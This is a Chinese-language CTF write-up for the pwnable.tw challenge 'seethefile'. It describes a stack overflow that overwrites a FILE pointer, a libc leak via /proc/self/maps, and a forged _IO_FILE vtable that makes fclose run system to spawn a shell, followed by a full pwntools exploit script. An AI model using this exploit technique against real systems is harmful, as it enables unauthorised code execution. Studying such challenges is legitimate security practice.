1. 程式人生 > >pwnable.tw 9 seethefile [250 pts]

pwnable.tw 9 seethefile [250 pts]

之前做了五道題直接做自閉了,各種手寫shellcode,學到了很多姿勢,這是一道檔案題,沒接觸過,來挑戰一下……

no canary found!!!!!! 拖進IDA分析

一共有五個功能

有一個明顯的棧溢位

我們可以通過溢位name來覆蓋fp

1)openfile:開啟檔案,檔案指標就是fp,不能開啟檔名為flag的檔案

2)readfile:從fp讀取0x18F個位元組到magicbuf上

3)closefile:關閉檔案,指標fp賦0

4)writefile:只是一個列印函式,而不能寫入,不能列印flag,FLAG,}名的檔案,如下

思路就是構造fake FILE,從而使得接下來的fclose執行system(“/bin/sh”)

一開始也不知到咋洩露libc內容

後來看了這篇文章:http://p4nda.top/2017/09/20/pwnable-tw-seethefile/

原來檔案的記憶體資訊儲存與/proc/pid/maps中

遠端一下試試看

還行,可以看見,我們需要的是libc_address的偏移量,然後找出system_address

我們還需要學會怎麼偽造IO_File,頭疼,又是沒接觸過的

學習連結:https://www.jianshu.com/p/2e00afb01606

                  

https://www.jianshu.com/p/a6354fa4dbdf

提幾個偷懶的知識點好了:

1._IO_FILE結構體大小為0x94,我的版本是這個,查一下就好,只需要改掉有用的

2._flags & 0x2000為0就會直接呼叫_IO_FINSH(fp),_IO_FINISH(fp)相當於呼叫fp->vtabl->__finish(fp)

3.將fp指向一塊記憶體P,P偏移0的前4位元組設定為0xffffdfff,P偏移4位置放上要執行的字串指令(字串以';'開頭即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆蓋為記憶體區域Q,Q偏移2*4位元組處(vtable->__finish)覆蓋為system函式地址即可

4.vtable是個虛標指標,裡面一般性是21or23個變數,我們需要改的是第三個,別的填充些正常的地址就好

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
	cn = process('./seethefile')
	bin = ELF('./seethefile')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('chall.pwnable.tw',10200)
	bin = ELF('./seethefile')
	libc = ELF('libc_32.so.6')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()

def openfile(name):
    cn.recvuntil('Your choice :')
    cn.sendline('1')
    cn.recvuntil('to see :')
    cn.sendline(name)


def readfile():
    cn.recvuntil('Your choice :')
    cn.sendline('2')

def writefile():
    cn.recvuntil('Your choice :')
    cn.sendline('3')

def closefile():
    cn.recvuntil('Your choice :')
    cn.sendline('4')

def exit(name):
    cn.recvuntil('Your choice :')
    cn.sendline('5')
    cn.recvuntil('your name :')
    cn.sendline(name)

openfile('/proc/self/maps')
readfile()
writefile()
cn.recvline()
cn.recvline()
cn.recvline()
cn.recvline()
libc.address = int(cn.recvline()[:8],16)+0x1000
print 'offset: '+hex(libc.address)
system_addr=libc.symbols['system']
print 'system: '+hex(system_addr)
closefile()

openfile('/proc/self/maps')
#spare place
addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x98)
payload+=p32(system_addr)*21
exit(payload)

cn.interactive()